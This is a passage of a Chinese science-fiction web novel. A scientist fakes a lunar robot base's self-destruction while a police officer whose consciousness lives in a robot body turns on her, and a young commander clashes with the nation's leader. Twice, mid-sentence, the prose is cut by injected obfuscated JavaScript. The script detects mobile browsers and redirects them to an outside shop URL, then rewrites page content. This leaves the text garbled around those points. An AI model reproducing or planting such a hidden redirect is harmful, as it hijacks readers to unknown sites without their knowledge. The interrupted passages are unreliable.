她不确定炸药何时会爆炸,但非常确定,一旦产生爆炸,即使她不在爆炸中心,也会被余波影响至深。 可让拥有毁灭基地能力的温金霖重新回到联国身边,更是个愚蠢的打算。所以,林君山选择了铤而走险。 “但我依然很好奇,”温金霖收紧了笑容,“一个没有机器人脑的机器人,是怎么成为基地核心机体的?” “温警官,”林君山沉声开口,“这和你的目的无关。” “那是当然,”温金霖笑着开口道,“可人的好奇心是无限的,您说是不是?” 林君山没有出声,实验室里是一片死寂,被高压电流损坏的电子门时而发出些呻吟,撒下的电子火花在顷刻间落地消散。余下的灯光从原先的忽明忽暗变成了林君山惯用的块状光线。 “我没有必要满足你这个好奇心,”林君山静静回望他的眼睛,“既然是合作,那就请你也动起来,麻烦你收拾一下自己的机体。” 四周的蓝光显示屏没有异常,各个舱体的内室监控都在稳定运作。 温金霖没有再试图通过控制基地设备来施压,只是耸了耸肩,问道:“然后呢博士?接下来您做什么打算?” 林君山背着他在操作台上敲下几行代码,身后的密码门重新恢复运作,整个实验室没有多余的杂音。 林君山回头淡淡看了他一眼:“炸了基地。” 温金霖的眼睛变得明亮,他用早已知晓一切的口吻开口说:“我就知道,对您来讲,跃迁程序才是最重要的。” 林君山摇摇头,没什么情绪的说:“我说过,你和我的命加起来,都没有这个基地重要。” “可……”温金霖的眼底渐渐浮现出几抹不解,他们要是想活下来,就必须营造出“自杀”的假象。 温金霖疑惑地望着林君山在控制台前忙碌的背影,余光瞥见上方屏幕里出现的景象,是基地外形图。 基地整体被巨型的透明真空罩护着,呈扁平的圆形。它表面平滑,南北两侧有长达六千米的实验舱体作为凸起,因形状酷似机翼,便称为基“翼”。 机器人基地以月球本身的土壤中增值出来的砖块组成,外表镀了一层厚度的硌元素,为保持基地扁平圆形外表光滑,能够在动荡的宇宙环境里屹立不倒,联国曾拨给他们一大笔资金,去研制真空软壁。 软壁拥有强大的弹性,足以应对一些小型的、拥有光速的宇宙垃圾或陨石。软壁利用弹性将其弹开,其目的是降低它的速度后回收,因此数次碰撞将导致它动量渐渐减少,最后可以外派人员将陨石带回基地研究。 其他大型物质,例如行星,都可以通过基地本身的核武器进行粉碎、改变轨道等。 基地外表的那层软壁之下是厚重的硌和银,亮灰色的表面被发送至月球上空的微型卫星拍下得一览无余。 温金霖话音刚落,南端基翼顷刻间覆灭,变成了一团核爆炸带来的蘑菇云,蘑菇云缓缓上升,末端的熊熊烈火聚成一团,在真空罩下烧得猛烈,他看得心惊肉跳。 “博士,”温金霖的眼睛控制不住的往屏幕瞟,“基地……” 8. 谁的死讯? 阿里求再次被林君山粗鲁的请了出去,这五年来,阿里求受到的待遇一直如此。 显示屏正中央的方框里写着“通话结束”四个大字,他看得额角直跳。 阿里求深深吐出一口气,盯了一会儿映在显示屏上的肥脸轮廓,又唉声叹气。他指尖磨着手里那根拐杖顶端那颗晶莹剔透的蓝宝石,才发觉到办公室里的日光灯还开着。 他实在是不知道该怎么自己的秘书交流。两年了,他的秘书还是没有学会替他把办公室的日照灯关掉。 阿里求拄着拐杖走到门边,轻轻扯了扯门侧的直线开关,办公室里的日照灯从左往右依次关闭,光线昏暗,但对像阿里求这样讨厌日光的人,非常友好。 办公室正对着门的窗户渐渐开启,地下城的暖流奔进来在他周围打了个转。 早知道当初该听劝,重新申请一个全智能办公室,这样他也用不着每次都坐在满是老古董的办公室里。 前酋长的办公室太破旧,抬头低头都是劣质瓷砖,房间还总有股散不去的霉味,空气质量甚至都比不上地下城贫民窟那片区域,每天在位置里坐上个半个小时,鼻子瘙痒先不说,喉咙也痒得紧,说话还总费劲。 也是怪他,非要装得体面。 毕竟他才被公投进酋长候选人两天不到,前酋长就遇刺身亡,到现在还流传着是他主导的刺杀,他总得做点儿什么表示表示。 阿里求是八个候选人当中票数最高的候选人,前酋长遇刺后,理所当然的当选了联国酋长。 这对他来讲是个实现抱负的好机会。前酋长本人和这个办公室一样,也是个老古董,地下城都快容不下多少人口,还死守着地球不往外寻找出路。 宇宙那么多星系,无数个恒星,总有一个和太阳系一样,运气好一点,没准真的能找到另一个地球。 阿里求正在心里抱怨着这间古董办公室,放在他办公桌左侧一角的老式呼叫机“滴滴”了两声,进入了留言对话框: “酋长,军警处安处长到了。” “请她进来。”阿里求扯着不舒服的嗓子下令。 “先生,我对您的安排不满。”门前的年轻人还不等办公室的门彻底敞开,声音就急切地砸进实验室,视线还目不转睛地盯着坐在椅子上的阿里酋。 办公室的门开出一道不算很大的缺口,她不管不顾地挤了进来,大步流星地走到办公桌前,皱着眉头问道:“为什么是温金霖负责这次活动?” “您答应过我,这次任务是由我带队的,”她不高兴地说,“可今天一早您又派了别人过去。” “基地有那么多的科研成果,林君山又是个倔性子,要是因为交涉失败,她打算和基地同归于尽,那岂不是得不偿失?” “不要着急,”阿里酋见她赤急白脸的模样,缓声斥道,“你什么时候能改改自己这急性子的毛病?” “机器人基地的全貌,地球研究部到现在都没有摸出个底来,”阿里酋指着办公室里的沙发,示意她落座,“你带着你的人毫无防备的上去,指不定是个死局。” “先生,军警处的武器装备是全联国最先进的,我不相信还有比重核武器更有威力的设备。”她显然是不接受阿里酋这套说辞,取下军帽规规矩矩的搁在茶几边,继续抱怨道: “基地就算有再强的防御系统,也一定抵不过核武器连续轰炸。” “要不是这些年来公会不愿意对基地出兵,林君山也活不了这么久,跃迁程序也早就到手了。” 阿里酋无奈地叹了一口气,他手第一下的人往往都是两个极端。 一种,自负到极致。 还有一种,自卑到极点。 安然是第一种。她年纪小,进入军警处是继承了她父亲的衣钵。她是继她父亲以来唯一一位在二十岁时就通过了军警处考核的新人。 性子太傲,被家里的长辈惯坏了,还养成了大小姐脾气。 阿里酋也算是看着她长大的,所以她在阿里酋面前总是这么口无遮拦,肆意妄为。 “胡闹!”阿里酋实在忍不住了,冷声开口呵斥,“你自己都清楚基地有众多科研成果,怎么还有拿核武器轰炸基地的想法!” 安然被斥骂声稍微唤回些神志,下意识从位置上站立,低眉应道:“是我逾矩了。” “我知道你打的是什么算盘,”阿里酋盯了她一会儿,拿起拐杖点指了指她,“口口声声说炸毁基地、轰炸基地,实际你更关心基地里面那个人。” 安然背着手站立在茶几前,视线轻轻落在茶几上的那顶深色军帽,身后的手指随意描摹帽子上的军徽。她低垂着眸子,开口说道: “林君山死不死活不活,公会都无所谓,但她救过我的命。” “没有人要她的命,”阿里求皱起眉头,“都是她自己咎由自取,非要守在那个空无一人的月球基地,非要和公会过不去,她是自寻死路,可有人逼她去做这些了吗?” “我不懂这些,”安然仍然垂着脑袋,声音比之前少了些气势,“父亲之前让我少参与公会的政治活动,我也一直在勤勤恳恳的做好自己的本职工作。” 安然稀里糊涂的在军警处混了四五年,不参与政府运动,平日里就做一些镇压暴民,机舰巡逻这样的小事。 军警处处长手里有一票否决权,公会也因此时常提防着她。她总是在公会决议某些事项的时候,装傻充愣着过关。 唯独公会决定入侵基地这件事上,她使用了否决权。最后是阿里酋出面,答应由她主导任务,林君山任她处置时,她才点头答应。 可今天一大早,线人递过来的消息让她坐立不安。鹰族是直属于酋长的特别行动小组,对待犯人丝毫不手软,林君山如果活着落到他们手里,逃不过一死。 “林君山也一样,她就是个什么都不懂的科研人员,”安然抬起眸子,“她可能是被人利用了,也有可能她连自己在做什么都不知道。” “她不应该受到这样的待遇。”安然的话音终于落地。 阿里求静默地听着她说完,不停的拿指尖磨着拐杖顶端的那颗蓝宝石。“不要耍小孩子脾气,你是军警处最年轻的处长,行事就更要优先考虑联国的安危。” “安然是联国军警处处长,也是一个活生生的人,”安然弯腰拿起军帽,握着帽檐搁在臂膀间,身量板正,“林君山罪不至死,恳请酋长收回成命。” “安处长,我就当你刚才所说仅仅是因为你和林君山同窗数载,同学情谊难舍难分,”阿里求的脸上没有了一丝笑容,“如果你再一意孤行,和私自离开基地进行跃迁的反叛者同罪。” 安然的视线彻底冷了下来,对他的威胁置若罔闻:“酋长,基地骨干成员都进行了跃迁,如果林君山也叛了国,为什么不跟着他们一起走?” “她一个人生活在那片荒漠,天天指着一两杯电解质水和少许的蛋白质食物过活,待遇都比不上尖塔监狱的囚犯。” “整整五年,”安然一步不退,视线紧锁着阿里求的眼睛,“再怎么十恶不赦,也该考虑重罪轻罚,轻罪赦免了。” “没有人要她过那种生活,”阿里求绷着脸,“她自己自讨苦吃!” 阿里求叹了一口气,试图缓和气氛,放缓了语速说:“不要再任性,林君山如果不供出跃迁程序,别说是公会,全人类估计都要她的命,没有什么比基地的科研成果和跃迁程序重要。” 安然的眸子添了点火气,即使这些年看惯了阿里求铲除政敌的作风,她却总是沉不住气。 “她是联国军事大学最有成就的学生之一,”安然说,“科学成果遍布全国,连暗网布下的身价也远远超过了您的鹰族队长,多年来稳居断层第一。” “如果她死了,联国会失去最有才能的科学家。”安然再次站直,一手握着帽檐,一手规规矩矩的行了军礼,目视前方,声音郑地有声: “军警处五千九百三十七名警员联名致信,恳请酋长收回成名!将林君山安全押回联国,让她余生可以通过研究更多技术来赎罪。” 阿里求的目光沉沉打在她身上,没有一丝温度。他突然明白,多说无益,于是便没有出声驳斥,只静静地打量了她一番,随后便收回视线,站起身蹒跚挪步。 整个办公室一片死寂,安然的眼睛一直盯着前方那片空有一副画的墙壁,板板正正的站在原地。 阿里求走到办公桌边,正要开启呼叫机的呼叫模式,那机器却突兀的“滴滴”响了两声,一段急促又飞快地语句蹦了出来: “酋长!不好了!林博士启动了基地自毁程序!” 办公室里的两个人都慌了神,阿里求率先冲出办公室,拄着拐杖的身子左摇右晃。 工位上的数人见酋长赤急白脸的冲了出来,又快速越过办公区,纷纷不安地起身,目光从他身上缓缓落到跟在他身后的安然。 安然亦步亦趋地跟着阿里求,他才越过办公区,廊道左侧第一个办公室里跑出来同样惊慌失措的吴秘书。 吴秘书怀里还攥着便携式平板,紧紧跟在阿里求身侧,不知道是不是因为太过紧张,他开口说话时的声音微微颤着。 吴秘书说:“酋长,温警官的通讯设备再入侵基地时就没有了信号,联国利用终端看见他已经通过了基地机器人群,成功进入了基地控制室。” 他一边说着,一边低头划着屏幕,“但在进入控制室的下一秒,就被林博士……枪决。” 阿里求抽空看了他一眼,他却不敢抬头看阿里求的脸色,从便携式平板里划出几个页面,将一段视频呈现在阿里求眼前: “机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315404|198947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体防御性能抵不过激光枪的损伤,可能会让温警官的意识彻底消散。” 什么……机体防御性能? 又是什么意识消散? 安然靠着这点儿七零八碎的信息,拼出一点勉强接近真相的消息。 “温金霖是机器人吗?”安然追问道:“联国机构怎么可能会有机器人在工作?” 吴秘书望向阿里求,阿里求置之不理,继续向前。 安然见他不回复,皱起眉头转移话题:“激光武器是地球研究部研发的特殊武器,基地被锁了五年之久,消息不流通,怎么可能会有激光枪?” “现在你还相信你那个同学就是个纯粹的科研人员吗安处长?”阿里求终于忍不住回头,狠狠瞪了她一眼。 安然面色难堪,随着他们来到透明电梯前。透明电梯是由数张六边形为地基建造的升降平台。 每一张六边形可以站下一个人,它升降速度极快,四周的景象会因速度变得扭曲,达到一定的加速度后,变成类似透明的玻璃幕墙。 阿里求的半张侧脸映在那片透明墙壁上,脸上的肥肉几乎挤在了一起:“温金霖的意识一直都储存在联国电脑终端,不会消散,顶多会被打回来,出现问题也不过是他不记得了这次任务了。” 可林君山是怎么得到激光武器的? 她自己研制的吗? 可这五年来,联国监控系统根本没有检测到她有任何科研行动,何况她的工作只是校对机器人系统,没有制造武器的经历。 阿里求的眼睛时不时盯一下便携式平板里的录像,还得抽空顾着脚下的透明电梯。 电梯停在五十六层,电梯里的三个人却迟迟没有动身出去。 安然的神经绷成了一条直线,她就知道,林君山那个倔性子,一定会选择宁为玉碎不为瓦全这条路。 阿里求的眼睛目不转睛地注视着便携式平板,屏幕里那个人影从最初清晰的影像变得忽影忽现,黑白的乱码在屏幕里闪烁不停。 林君山的声音渐渐变得失真,还掺杂着基地系统报错的警告声以及他忽略不掉的电流音。 “这就是你派来和我交涉的东西吗?”林君山指着嵌进墙壁的一副黑曜石颜色的机体。 机体上半身的创口出还能清晰的看见被激光武器损毁的电路板。 “基地的确拿他没有任何办法,你赌对了,”屏幕里的林君山冷嘲热讽,“也难为你手底下那帮废物研究出这么一个东西,用来对付基地。” “但我曾经就说过,”林君山说,“如果跃迁程序研究成功,意味着银河系外的文明被殖民统治,那我林君山就算堵上一切,也要阻止你。” “我说到做到。” 紧接着,林君山浑身被一团爆炸带来的大火吞没,屏幕里最后几秒的映像是爆炸余波留下的冲击,几秒的火光后便只剩一片黑暗。 阿里求不再盯着屏幕,快速移步到大厅控制中心,他身后的两人紧跟其后。走进大厅,他看见办公位的工作人员的面色格外的难堪,所有人员都乱成了一团。 “断联了!” “检测不到任何生命体征!” “监控设备观察到基地一号生产舱已经被炸毁了!” “二号和三号被炸毁!” “四号生产舱也被炸毁了!” “五号也是!” 报告声频频不断,砸到阿里求身上。 大厅门口正对着的蓝光显示屏全是跳跃闪烁着的黑白线条。 还不等阿里求出声,蓝光显示器突然映出一段长达十几秒的晃眼的光线,紧接着控制中心所有电源都因为电压不稳,遭到了强制关闭。 几乎同时,所有人惴惴不安地看向四周的同事,喧闹声四起。供电系统损毁,控制中心一片死寂,应急照明灯亮起的瞬间,一声声惊呼覆盖了整个大厅。 机器人基地……全部生产舱都被一一炸毁。 “林君山呢?”安然率先缓过神,走过去随手抓住一个工作人员询问。 工作人员还没从刚才的冲击晃过神,安然急得上手握着他的肩膀使劲儿晃了晃他,急切地重复: “我问你林君山呢!?” “基地监控设备损害太大了,检测不到……生命体征。”工作人员神色慌张,开口时的语调还打着细颤。 “胡说八道!”安然吼道,“你们监控了基地这么久,怎么偏偏就现在坏了!” “查啊!”安然说,“把你们的无人机都派出去啊!一个爆炸就把你们吓成这样吗!联国怎么养着你们这帮废物!” “没用了……”工作人员无力的摇头,“没用了……” “林博士所在的控制室是一号舱,”他声音微微颤着,险些把末尾的话音吞到了肚子里,“是爆炸中心。” 9. 我是来杀您的 温金霖看着林君山断开基地与酋长办公室的通话视频,视线在控制台上方的显示器走了个来回,茅塞顿开。“是双电子程序。” 温金霖试探道:“对吗博士?” 林君山淡淡瞥了他一眼,应道:“可以,还不算笨的无可救药。” “这是在夸我吧?”温金霖从鼻子里挤出几声闷笑,“那我暂且收下了。” “所以说,就算我不找您合作,”温金霖走过去,轻松卸下机体的手臂,语调缓慢的开口,“您也有办法利用双电子程序脱困,对吗?” 林君山没有回应他。 不过,的确是这样。从温金霖出现在基地的那一刻起,她就打算重新下一盘棋了。 “我大学物理学的不是很好,”温金霖面无表情的拆下另一条机体的手臂,继续说,“但有件事我倒是知道,电子路径基本上是确定。目前广为人知的量子路径,才没办法测量。” 温金霖扔下那条手臂,回头看着她坐在控制台前的背影,问道:“所以博士到底是怎么让电子的路径也变得不可测量的?” “不是不可测量,”林君山没有对门外汉解释科学的兴趣,敷衍道,“只是改变电子行动轨迹。” 温金霖长长地“哦”了一声,问道:“让它排列成博士想让它变成的模样?” 这是双电子程序研究的初心,她在这方面没什么天赋,这项程序早在她被收编进基地时就存在了,她不过是减少了部分执行代码,让程序变得更简洁,利用这项技术蒙骗联国电脑终端的那帮人。 基地对联国的戒心早在建立初期就出现了,前辈们不愿意自己无故被卷入政治战争,就想方设法的研究不同的技术,来掩盖基地的真实面貌。 率先前辈们想出来的办法还不是利用电子,而是利用量子。可量子的路径难以琢磨,无法让它以既定的轨道排列,所以就利用电子取代了量子。这项程序发展的迅速,沿用至今。 林君山回头,拒绝回答他的提问:“温警官,继续拆你的身体吧,伪装成被爆炸的模样应该也会花一点时间。” “博士。”温金霖没有再拐弯抹角,说道:“您在运行这项程序的时候也一定发现了它的缺点,联国一定会派人登月探查,您的办法虽然能迷惑人类的双眼,但没办法迷惑机器人的眼睛。” 林君山停下手里的动作。“温警官有更好的办法?” “我说的话恐怕博士不喜欢听,”温金霖难得没有再嬉皮笑脸地回应她,语调都正经了好几倍,“可我还是想提醒博士,最好的办法,就是真正的炸毁基地。” “你如果再有这样的想法,”林君山转回去,背对着他,“我不介意再给你一枪。” 温金霖无奈地摇了摇头:“博士,躲得了初一,躲不了初五,联国刑警派出来的人,会在十八个小时后登月,您觉得您能在十八小时内安全回到地球吗?” “基地炸毁的消息一经传出,地球边关的防卫会加强,也许现在他们就开始着手登月了,我们根本没有所谓的十八个小时。” “首先,”林君山不想再听他喋喋不休,“我没有打算和联国玩儿捉迷藏,林君山于公元二八六一年七月二十五号十三时五十二分和基地同归于尽。” “林君山死了,她不会在短时间内回到地球人的视野里。” 温金霖慢慢锁紧了眉头,却没有出声打断她。 “其次,我知道双电子程序的缺点无法克服,”林君山说,“我也知道机器人能够看出来端倪。” “但你要知道,联国最高端的机器人大脑,也不过是早期人工智能携带的算法和数据库,除了像你一样的人形机器人能够发现问题以外,其他功能性机器人,只能见到电子彩格并报错,也有可能会因为无法描述问题而报废。” “不然,你以为基地这百年来为什么没办法被地球研究部那帮人研究明白?” 如果双电子程序能够被普通机器人一眼看出端倪,基地的科学家不会傻到用这项程序来掩盖基地生产舱的功能。 温金霖似乎又惹林君山不快了,他不太清楚林君山是单纯的不耐烦还是有其他未说明的心事。 “按博士的意思是只要地球没有制造出人形机器人,或者没有像我一样的意识机体,那我们永远就不会被发现,对吗?”温金霖开口打断道: “您是寄希望于联国科技发展滞缓吗? 温金霖继续追问:“如果地球机器人研究部成功创造出了人形机器人,联国公会重新拥护意识机体类的永生计划,我们就会被发现,那到时候博士就打算束手就擒?” 林君山藏了一半说了一半,温金霖很警惕。她没有告诉温金霖,部分拥有脑机芯片的人类,也是可以察觉到基地真面目的。 可据她所知,芯片移植技术已经被联国高层垄断,普通公民无法进行这样的手术,除联国特殊部队植入了屏蔽DNA芯片外,其他相关芯片都已经销声匿迹。 消失的芯片中包括人人都想得到却望而止步的芯片——脑机芯片。 至今,地球研究部没有一个人发现基地的真面目,所以林君山推测联国对脑机芯片的研究早就停止了。 而研究部仅存的样本也被反对这项技术的研究员,一把火烧得干干净净。 联国一天没有脑机芯片、意识机体、人形机器人,基地就会安全一天。 林君山没有多做回应。“以后的事,以后再说,现在要紧的是回到地球。” “还有,”林君山冷着脸,“不要顶着十八岁的脸,用三十岁的声音说话。” 温金霖彻底愣住了。 原来不高兴是因为这个吗? 温金霖眼底染上笑意,视线在她绷着的脸上游走了几秒,被林君山不悦地瞪了一眼后,他才老老实实地收了回去,去拆卸机体的其他部分。 准备工作做足,林君山才稍稍松了口气。她回头看了看温金霖,发现他已经把机体全部拆卸,却唯独盯着那张机体上的那张脸发呆。 林君山蹙眉,出声打断了他的思绪:“温警官,你刚才还在提醒我,我们并没有所谓的十八个小时。” 温金霖晃过神,略带抱歉的看向林君山,“对不起博士,我能把这张脸取下来吗?” 林君山不解:“这是你的脸?” 温金霖弯起眸子,说道:“当然不是,这张脸从我作为机体开始就跟着我,我有些舍不得。” 林君山呼出一口气,提醒道:“温警官,戏要做足,你的机体不会因为爆炸产生多大的损害,但皮肤绝对会有烧伤的伤口,这是他们能够确定基地被炸毁的条件之一。” 如果温金霖取下这张脸,联国利用复原技术会发现整个机体缺这块皮肤,林君山苦心布下的局就将毁于一旦。 “很抱歉,博士,我知道我不该这么自私。”温金霖耸了耸肩,眸子弯着,却在脸上看不出多少笑意,他低头静静地望着那张脸,失神地出声:“这是我战友的脸。” 林君山心微微一跳,她的视线越过温金霖,落在机体身上,沉默了许久都没有出声。 “他死于一场火灾,”温金霖摇摇头又点点头,“应该说我们都死在了那场火灾,他为了救我,把供氧设备给了我,最后因为缺氧当场离世。” 而温金霖,被火烧得面目全非,深度三级烧伤。他的皮下脂肪和皮肉组织都被灼伤,部分组织碳化变形。即使被送到了重症监护室,数周后也会因为无法承受极端的痛苦和器官衰竭所带来的风险而离世。 但他出奇的想活下来。 因为这条命不像是他的,是他的战友替他从死神手里争回来的。 “算了,”林君山松了口,“你想留着就留着吧。” 她记得基地有莱慈玩坏的三维打印机,可以试着连接电脑再画出一张一模样的脸皮换上去,只是费时间,但也无伤大雅。 “谢谢博士。”温金霖勉强挤出了个笑容递给她,回头按部就班的处理机体其他部位。 林君山转了回去,过了几秒,又想起什么的问:“莱慈呢?他怎么样?” 温金霖手里的动作一顿,回眸笑道:“它好像不太高兴,我没有强制关闭它的系统,也没有抑制它的控制权,但它的系统到现在都没有重启的迹象。” 林君山抬手揉了揉额角,她缓缓吐出一口气,说道:“不要欺负他,他只是个孩子。” “博士就这么不放心我吗?”温金霖笑脸盈盈,又恢复了原样,“疑人不用,用人不疑。这么简单的道理,大概不需要我为博士解释一遍吧?” “温警官,你只是暂住这副机体,”林君山再次背过身,“不要对机体的性能做出任何改变,莱慈是智能机器人,他还在成长。” “博士似乎很关心这个机器人,”温金霖弯起眸子,“原因是因为它是您的杰作吗?可我怎么记得,基地出现时,莱慈就经过了长时间的更新,它不算是您的机器人。” 林君山不知道温金霖为什么抓着“杰作”“缪斯”“艺术家”这几个字眼不放,也倦于和他解释。 她清楚温金霖百般询问有关基地的消息是出于自保,他们之间的信任不算很强,能绑住他们的利益链条甚至不是统一的。两个人各怀鬼胎的走到一起,等大难临头,铁定要选择各自飞。 温金霖试探的用意她也明白,不过是想再被抓住之前,多几条有关基地的消息,好戴罪立功,继续苟活。 “温警官,”林君山没什么耐心地说道,“打探莱慈的消息对你或者是联国都没有任何好处,联国要的是生产舱里的科研结果和跃迁程序,他们对莱慈根本不感兴趣。” “我知道你要自保,”林君山回眸,叹了一口气,“但你要清楚在你没有获得我的信任之前,我不会提起任何一项有关基地的研究。” 温金霖意兴阑珊的收回视线,应道:“看来我只能用身上这个双电子程序保命了。” 林君山摇摇头,脸色沉了沉,警告说:“这个你自便,但在我没有安全到达地球之前,你如果试图和联国取得联系,暴露我的计划,你这部分意识,永远都不会回到电脑终端。” 温金霖对此类威胁鲜有耳闻,听得不大舒服,眼底的笑意也少了几分,说道:“了解,但是博士,如果计划败露,那请不要责怪我对这一切全盘托出。” “我只是想活着,”温金霖说,“自由是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315405|198947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二目标。” “没问题,”林君山胸有成竹,“我保证你不会有做出这种选择的时候。” 温金霖眼底的笑意淡了些许,他摇摇头,自顾自的从机体腰侧取出枪,慢悠悠地举起,指向林君山。“我想了想,还是不行。” “其实我不算是来劝降的,我的任务是逼您交待跃迁程序,等程序到手,再将您就地解决。”温金霖笑脸盈盈,解释道: “我是来杀您的。” “所以说,您的命在我手里。”温金霖眯起眼睛冲她歪了歪头。 林君山闻声转头,心底涌起些许不安。 温金霖补充道:“博士,既然我都这么坦诚了,那您什么时候才愿意出现在我面前?” 林君山的脸色一变,略带警惕地、一字一顿地唤了一声:“温、警、官?” “联国发现基地没有被炸毁也不过是时间问题,我不想再落到联国手里,炸毁基地出逃是最万无一失的做法。”温金霖说。 林君山蹙眉不语。 “现在,选择权在我手上,您必须跟我走,如果您反抗,我不介意五花大绑的带您离开。”温金霖说。 林君山的眼睛仔仔细细的打量了一遍温金霖的机身,她逼迫自己强装镇定,压低声量,静道:“温金霖,你不守信用。” “兵不厌诈,”温金霖面色如常,弯起眸子笑着,“博士,我好歹做了这么久刑警,看遍了形形色色的人,对待什么人用什么办法,我还是知道的。” “原因呢?”林君山缓缓呼出一口气,她双手交叠在身前,镇定自若地望向温金霖,“你怎么知道你面前的只是一个立体影像?” 温金霖似乎重新开始入侵基地系统来施压,林君山再次看到实验室左侧的光线忽明忽灭。 温金霖和机体的匹配度不够,他要是利用流动性再次控制基地其他区域,可能会导致意识消散。所以他小心小心再小心,勉强控制了半个实验室,虚张声势。 “您的椅子,”温金霖依然举着枪,直至指向林君山,缓慢的向前走了几步,“立体影像是虚像,重量很轻。” 温金霖稳步向前,在她一米之远停下,继续说道:“排除基地的重力加速度比地球低和您在这里风餐露宿五年,而导致您的体重下降的那一部分重量,您的体重不会少于八十千克。” “但您坐在靠椅上,它所调整的倾斜度,只有十度,按八十千克六十度倾斜角的数据换算,靠椅所受到的重量只有十三千克。” “这不是正常人类应该有的体重,”温金霖指了指莱慈机体的眼睛,“他的眼睛很好用,跟我的一样,都有数据分析和整合的功能。” 机器人眼普遍都有扫描功能,它会根据所见所闻进行材料分析,再将结果呈现在眼前。 人形机器人的内存不算很大,所以会根据所需进行扫描,若不对事物留心,很难像基础机器人一样发现周遭的端倪。 最初这被当成人形机器人的缺点,但经过基地无数次实验,将人形机器人训练成了绝大数情况下只依靠算法得出结论,无需扫描整合的型号。 莱慈是基地最成功的例子。而温金霖之所以能留心,大概率是因为他工作的特性。 刑警的工作让他习惯了观察细枝末节,机体携带的电子眼又便于帮他解决数据问题,这样一来,仅仅需使用机体电子眼进行测量和数据分析,就事半功倍。 林君山了然。她点了点头,没有掩饰赞赏:“你很聪明。” 这是连机器人都容易忽略的细节,但温金霖仅凭肉眼就察觉出端倪。 “谢谢博士。”温金霖眉眼盈盈,收下夸赞。 “但很可惜。”林君山缓缓站了起来,她双手还塞在兜里,逼真的立体影像走到枪口前,伸出一只手握住了枪口,慢慢下拉,顶到胸口前,才抬起眼睛问道: “还有一个漏洞,你说过了,我不是实像,假设基地的立体影像技术能够触碰一些实体,但我举着激光枪,激光枪的射出虚像没法伤害到你,那你的机体怎么可能会有所损害?” 温金霖静静地听着她说完,脸上的笑容纹丝不动,他闷闷笑了两声,下一秒毫无预兆地转头,将抢口指向才修好的电子密码门,对准了它左侧墙壁上的缺口。 密码门墙壁上的缺口是刚才林君山的那一枪留下的,往里稍微瞥一眼,就能看见生产舱之间的连接空间。 “砰——” 激光再次透过那个缺口,缺口四周缓慢烧起,燃起些许烟火,金属材料难闻的气味慢慢在实验室铺开。 林君山的心猛地一跳,心跳再次失衡,她眼底的沉静被搅成了一团乱麻。 温金霖透过激光枪的电子瞄准镜盯着缺口,枪口/射出的激光直直越过生产舱之间的连接空间,落到了对面的生产舱口。 同样的密码门,同样的墙壁附近,新发现的缺口在原缺口镜像的位置,他再次看到了和身后立体影像一模一样的身影。 只是缺口太小,里面人的神情看不太清,只能透过缺口看见一个轮廓。 可温金霖非常知足,他的眼睛弯得像月牙,语调都噙着笑意: “找到您了。” 10. 军警处处长 “据联国刑警第九号连队报告,七月二十五号十三时五十二分,基地科学家私自启用基地自毁程序,导致机器人基地炸毁,基地存有的上千实验室及生产舱毁于一旦——” 安然摘下耳机,险些把耳机扔到地上。 这才一周不到,几乎全世界都知道了林君山的光荣事迹。 安然前几天被逐出了联国政府大楼,被扔进了公会禁闭室。 早晨她手下的副官送来餐食和通讯设备,告诉她外面忙得脚不沾地,把她关进去的人都没空想着把她放了,她估计还得再禁闭室待上一阵。 安然拿起通讯设备,随便调了一个频率,打头的话不是在提基地就是在批评林君山的所作所为有多么的反人类、多么草率、多么令人嫌恶。 安然当然知道自己的老同学做了什么,毫不夸张的说,她也是亲眼见证了老同学为了“理想”“正义”这些她这辈子都不想再看见的字眼,献出了生命。 安然深深吐出一口气。 她实在想不通,林君山到底为什么这么傻? 跃迁程序能够带领全人类找到新的家园,她为什么非得阻止人类这么做? 非得让全人类为她那点情怀陪葬不可吗? -报告处长。- 安然被脑电波频道里的声音打断了思绪。联国为军警部直属于她的行动队单开出来的通讯频道总一惊一乍的,半夜她还能被各式各样的呼叫声吵醒,有的甚至能呼叫错用户。 往通讯所送过去的投诉信不知道翻了几倍。在频道建立初期,行动队这帮混蛋没几个会使这通讯设备的,当初招他们进入军警部,看了简历上都写着从正儿八经的院校毕业,结果连这点东西都使不明白。 不就是几个加密代码吗? 跟小时候玩儿坏的摩斯电码机有什么区别? 安然有一周都被磨得整夜整夜睡不着觉,还得耐着性子跟他们一一讲清楚怎么使用。 今天不知道这是怎么了,居然连对了,甚至还准确的叫出了她的名号。 安然情绪不高,没有像往常那样冷嘲热讽,冷淡的回应了呼叫: -什么事?- 对面的反应很快,声音夹杂着些许电流音,迅速地应道: -您交代的任务有些眉目了- 安然抬起眼睛,询问道: -查到什么了?- 他应道: -温警官属于刑警特别行动队鹰族成员,鹰族成员的档案都统一归信息部归档,机密程度最高,我们没有权限阅读- 废话。 安然当然知道,她不悦“啧”了一声,不想再听他扯这些没什么用的消息,正打算挂断通讯,他又开口说道: -但我们听到一些传闻- 安然:“……” 堂堂特别行动队成员,不去想办法正儿八经地打听消息,反而去蹲墙角听这些个市井传闻,还自称“有了眉目”? 安然瞬间觉得头大,她险些气笑了,不知道是不是被气糊涂了,也不着急切断通讯了。 她倒要听听是什么传闻,急得他们一大早就过来通报。 -传闻里说,温警官前身是刑警支队的普通警察,在治安管理处工作,工作风险大,很多时候都要出外勤- 